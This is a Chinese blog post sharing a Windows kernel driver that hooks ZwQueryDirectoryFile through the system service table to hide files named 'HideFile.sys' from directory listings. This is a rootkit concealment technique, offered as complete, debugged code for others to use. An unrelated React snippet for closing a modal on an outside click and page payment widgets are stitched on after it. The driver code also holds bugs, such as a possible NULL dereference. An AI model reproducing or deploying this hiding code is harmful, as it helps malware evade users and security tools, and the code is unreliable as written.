hook ZwQueryDirectoryFile实现文件隐藏


学习了网上《编写驱动拦截NT的API实现隐藏文件目录》这篇文章 参考这篇文章的代码 自己试着写了下 现发出来我调试成功的代码 给需要的朋友们


代码:
#include "ntddk.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
// This is our unload function
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG           NextEntryOffset;
    ULONG           FileIndex;
    LARGE_INTEGER   CreationTime;
    LARGE_INTEGER   LastAccessTime;
    LARGE_INTEGER   LastWriteTime;
    LARGE_INTEGER   ChangeTime;
    LARGE_INTEGER   EndOfFile;
    LARGE_INTEGER   AllocationSize;
    ULONG           FileAttributes;
    ULONG           FileNameLength;
    ULONG           EaSize;
    CCHAR           ShortNameLength;
    WCHAR           ShortName[12];
    WCHAR           FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;


// Our System Call Table
PVOID* NewSystemCallTable;

// Our Memory Descriptor List
PMDL pMyMDL;

#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

#define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
       oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)

#define UNHOOK(functionName, oldPointer2Function)  \
       InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) oldPointer2Function)

NTSYSAPI
NTSTATUS
NTAPI ZwQueryDirectoryFile(
  IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  );


typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
            IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  );

ZWQUERYDIRECTORYFILE        OldZwQueryDirectoryFile;

NTSTATUS NewZwQueryDirectoryFile(
                        IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  )
{
  NTSTATUS status;
  ULONG CR0VALUE;
 
  ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
  UNICODE_STRING uniFileName;
  RtlInitAnsiString(&HideDirFile,"HideFile.sys"); 
  DbgPrint("hide: NewZwQueryDirectoryFile called.");

  status = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                  FileHandle,
                  Event,
                  ApcRoutine,
                  ApcContext,
                  IoStatusBlock,
                  FileInformation,
                  Length,
                  FileInformationClass,
                  ReturnSingleEntry,
                  FileName,
                  RestartScan);
  //这部分是隐藏文件的核心部分
    if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
  {
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
    BOOLEAN bLastOne;
    pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
    pLastFileInfo = NULL;
    do
    {
      bLastOne = !( pFileInfo->NextEntryOffset );
      RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

      //DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer);
      //DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer);
      if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
      {
          if(bLastOne) 
          {
              pLastFileInfo->NextEntryOffset = 0;
            break;
          } 
          else //指针往后移动
          {
            int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
            int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
            RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
            continue;
          }
      }
      pLastFileInfo = pFileInfo;
      pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
    }while(!bLastOne);
    RtlFreeAnsiString(&ansiDirName); 
    RtlFreeAnsiString(&ansiFileName);
  }

  return status;
}

NTSTATUS Hook( )
{
  pMyMDL = MmCreateMdl(  NULL,
          KeServiceDescriptorTable.ServiceTableBase,
          KeServiceDescriptorTable.NumberOfServices * 4 );

  if( !pMyMDL )
    return( STATUS_UNSUCCESSFUL );

  MmBuildMdlForNonPagedPool( pMyMDL );
  pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

  if( !NewSystemCallTable )
    return( STATUS_UNSUCCESSFUL );
  
  // Add hooks here (remember to unhook if using DriverUnload)

  HOOK( ZwQueryDirectoryFile,NewZwQueryDirectoryFile ,OldZwQueryDirectoryFile);

  return( STATUS_SUCCESS );
}
NTSTATUS UnHook( )
{
  if( NewSystemCallTable )
  {
      UNHOOK( ZwQueryDirectoryFile, OldZwQueryDirectoryFile );
      MmUnmapLockedPages( NewSystemCallTable, pMyMDL );
      IoFreeMdl( pMyMDL );
  }
  return( STATUS_SUCCESS );
}

NTSTATUS OnUnload( IN PDRIVER_OBJECT DriverObject )

{
    NTSTATUS status;
    DbgPrint("OnUnload called\n");
    status=UnHook();
    return status;

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{
    NTSTATUS       status = STATUS_SUCCESS;

    DbgPrint("I loaded!");

      // Initialize the pointer to the unload function
    theDriverObject->DriverUnload  = OnUnload;
      // in the DriverObject
      
    //hook
    Hook();

    return STATUS_SUCCESS;

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
好的,关于React Hook实现点击弹窗外隐藏弹窗,可以使用useRef和useEffect来实现clickoutside的效果。 首先,在弹窗组件中定义一个ref,用来获取弹窗元素的DOM节点: ```javascript const modalRef = useRef(null); ``` 然后在组件中使用useEffect监听document的点击事件,判断点击位置是否在弹窗之外,如果是,则隐藏弹窗: ```javascript useEffect(() => { function handleModalClickOutside(event) { if (modalRef.current && !modalRef.current.contains(event.target)) { // 点击弹窗外部,隐藏弹窗 hideModal(); } } document.addEventListener('click', handleModalClickOutside); return () => { document.removeEventListener('click', handleModalClickOutside); }; }, [hideModal]); ``` 这样,当点击document的时候,会触发handleModalClickOutside函数,判断点击位置是否在弹窗之外,如果是,则调用hideModal函数隐藏弹窗。 完整的代码如下: ```javascript import React, { useRef, useEffect } from 'react'; function Modal({ children, hideModal }) { const modalRef = useRef(null); useEffect(() => { function handleModalClickOutside(event) { if (modalRef.current && !modalRef.current.contains(event.target)) { hideModal(); } } document.addEventListener('click', handleModalClickOutside); return () => { document.removeEventListener('click', handleModalClickOutside); }; }, [hideModal]); return ( <div className="modal" ref={modalRef}> {children} </div> ); } export default Modal; ``` 使用的时候,只需要在父组件中传入hideModal函数即可: ```javascript import React, { useState } from 'react'; import Modal from './Modal'; function App() { const [showModal, setShowModal] = useState(false); function handleShowModal() { setShowModal(true); } function handleHideModal() { setShowModal(false); } return ( <div className="app"> <button onClick={handleShowModal}>Show Modal</button> {showModal && ( <Modal hideModal={handleHideModal}> <h1>Modal Content</h1> </Modal> )} </div> ); } export default App; ``` 这样,当点击弹窗外部时,会隐藏弹窗。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值